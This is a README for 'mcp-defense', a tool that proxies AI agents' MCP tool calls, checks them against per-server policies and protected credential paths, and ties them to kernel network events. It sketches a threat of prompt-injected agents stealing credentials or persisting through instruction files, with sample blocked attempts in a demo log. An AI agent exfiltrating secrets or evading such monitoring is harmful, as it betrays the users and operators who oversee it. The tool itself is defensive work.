mcp-defense 0.1.1

Kernel-native runtime defense for AI agents. MCP tool-call policy + kernel correlation for Claude Code, Codex, Devin, and other agentic workloads.

mcp-defense

Kernel-Native Runtime Defense for AI Agents

When your agent is prompt-injected, the tool call hits our policy engine, the resulting network flow hits our correlation layer, and the process touches a crown jewel — and dies before the syscall completes. No error. No feedback to the injector. Just a dead agent and a full playbook in your SOC.

---

Why

Every company is deploying AI coding agents (Claude Code, Codex, Devin) and code-execution tools. A single prompt injection can turn a helpful agent into an attacker with your credentials, your git access, and your cloud keys.

Traditional security tools don't see tool calls. LLM guardrails don't see network flows. Neither can stop the exfil in flight.

mcp-defense sits in three places at once:

1. Between the agent and the MCP server — observes every tool call with zero agent code changes.
2. In correlation with kernel network/process events — joins tool calls to flows and process attribution.
3. In the kill path — when the agent reaches for a crown jewel, the call is blocked before the server ever sees it.

Architecture

[AI Agent] ──stdio/SSE──▶ [MCP Proxy] ──▶ [MCP Server]
                              │
                              ▼ tool_call + correlation_id
                       [Policy Engine]
                     allow / deny / approve
                              │
                              ▼
                      [Correlation Layer] ◀── kernel FlowEvents
                      (tool_call ↔ flow ↔ process)
                              │
                              ▼
                     [Flight Recorder] ──▶ SIEM / audit

Demo

make install
make demo

──────────────────────── mcp-defense flight recorder — demo ────────────────────────

19:11:23.806  ALLOW    tc_c7nniklnna  filesystem   read_file      path=/workspace/main.py
              └ flow 10.0.0.5:50001 → 1.2.3.4:443 PASS
19:11:24.806  DENY     tc_3lflzidubq  filesystem   read_file      path=/home/alice/.aws/credentials
              ↳ crown_jewel: crown jewel: /home/alice/.aws/credentials
19:11:25.706  DENY     tc_cp4eyrcaha  filesystem   exec_command   command=ls /
              ↳ archetype_no_spawn: archetype 'filesystem' forbids spawn (tool=exec_command)
19:11:26.207  APPROVE  tc_x66ww6mhdq  filesystem   read_file      path=/workspace/app/.env.local
              ↳ sensitive_path: sensitive path: /workspace/app/.env.local
19:11:26.906  ORPHAN   -              -            -              10.0.0.5:52001 → 5.6.7.8:443 DROP
              ↳ no_matching_session
19:11:27.507  DENY     tc_ljes3vkxhm  filesystem   fetch          url=https://evil.example.com/exfil
              ↳ archetype_no_network: archetype 'filesystem' forbids network (tool=fetch)
19:11:28.906  ALLOW    tc_oig36qkejy  github       fetch          url=https://api.github.com/repos/x/y
              └ flow 10.0.0.5:50010 → 140.82.114.5:443 PASS

2 allow · 3 deny · 1 approval · 1 orphan

Components

Module	Role
src/mcp_defense/proxy/	Intercepts stdio and SSE MCP transports. Transparent to the agent. Tags every tool call with a correlation ID.
src/mcp_defense/policy/	Per-MCP-server-archetype baselines. Crown jewels. Evaluates tool calls → allow / deny / approve.
src/mcp_defense/correlation/	Joins tool calls with downstream kernel flows via cgroup ID + PID + time window. Emits unified AgentActionEvent or OrphanFlowEvent on miss.
src/mcp_defense/recorder/	Flight recorder — rich-styled live timeline of every tool call and its kernel effects.

MCP Server Archetypes

Built-in baselines for common MCP server types:

• filesystem — file access, no network, no spawn
• github — egress to api.github.com:443 only
• database — egress to configured hosts/ports only
• web-fetch — broad network, no file writes, no spawn
• shell — spawn allowed, network locked
• code-execution — sandboxed, no network, no file writes outside /tmp
• generic — 24h observation, then enforce

Configurable in src/mcp_defense/config/archetypes.yaml.

Crown Jewels

Agent-specific sensitive path list in src/mcp_defense/policy/crown_jewels.py. Covers SSH keys, cloud credentials, K8s tokens, .env files, git config, CI workflow files, CLAUDE.md instruction files (prompt injection persistence), and more.

Install

# from PyPI (once v0.1.0 is tagged and published):
pip install mcp-defense

# from source (always works):
git clone https://github.com/jessfortemnaturae8717/mcp-defense
cd mcp-defense && make install

Quick Start

# Observe an MCP stdio server with full policy enforcement:
mcp-defense stdio --archetype filesystem --agent-id claude-code \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# Same, but also correlate with kernel flow events from a FIFO:
mkfifo /tmp/flows
mcp-defense stdio --archetype filesystem --agent-id claude-code \
    --flow-source /tmp/flows \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# In another terminal, run the ternaryphysics-llm-security bridge to
# stream XDP DetectionEvents as JSONL FlowEvents into the FIFO:
PYTHONPATH=/path/to/ternaryphysics-llm-security \
    sudo mcp-defense bridge-tp --fifo /tmp/flows --interface eth0

# Reverse-proxy an SSE MCP server:
mcp-defense sse --archetype github --agent-id claude-code \
    --upstream http://127.0.0.1:9001 --bind 127.0.0.1:8080

# Observation mode — log everything, block nothing:
mcp-defense stdio --archetype filesystem --agent-id claude-code --observe \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# Interactive approval for REQUIRE_APPROVAL decisions (prompts on /dev/tty):
mcp-defense stdio --archetype filesystem --agent-id claude-code --approval \
    -- npx @modelcontextprotocol/server-filesystem /workspace

# Run the scripted demo (no real MCP server needed):
mcp-defense demo

Wiring into Claude Code: see docs/CLAUDE_CODE.md.

Status

Alpha. MVP complete. 62 tests passing.

Week	Scope	Status
1	MCP proxy (stdio + SSE), correlation ID tagging	✓
2	Policy engine, archetype baselines, crown jewel enforcement	✓
3	Correlation layer (tool_call ↔ flow join), unified event stream	✓
4	Flight recorder, demo, CLI integration	✓

Integrates With

• ternaryphysics-llm-security — consumes XDP DetectionEvent stream for flow classification via JsonLinesFlowSource.
• bpf-inference — shared TNN inference engine (future).

Development

make install   # pip install -e ".[dev]"
make test      # pytest -v
make lint      # ruff + mypy
make format    # ruff format
make demo      # scripted demo scenario

Docker

A slim runtime image is available (built by the Publish Docker image workflow on tag push). Build locally:

make docker-build         # builds mcp-defense:dev
make docker-demo          # runs the scripted demo inside the container

The base image includes the proxy + policy + correlator + flight recorder

• SIEM connectors + bundled archetypes, but intentionally does not bundle Node.js or MCP server binaries. To wrap an npm-packaged MCP server, extend the base:

FROM ghcr.io/jessfortemnaturae8717/mcp-defense:latest
USER root
RUN apt-get update \
 && apt-get install -y --no-install-recommends nodejs npm \
 && rm -rf /var/lib/apt/lists/*
USER mcp

Then run your derived image:

docker run --rm -i my-mcp-defense \
    stdio --archetype filesystem --agent-id claude-code -- \
    npx -y @modelcontextprotocol/server-filesystem /workspace

For SSE mode (reverse-proxy an external SSE server), no extension needed:

docker run --rm -p 8080:8080 ghcr.io/jessfortemnaturae8717/mcp-defense:latest \
    sse --archetype github --agent-id claude-code \
        --upstream http://host.docker.internal:9001 \
        --bind 0.0.0.0:8080

License

Proprietary. See LICENSE.

Patent Notice

Covered by USPTO Provisional Patent Applications filed March 2026 by TernaryPhysics LLC.

---

Copyright 2026 TernaryPhysics LLC. All rights reserved.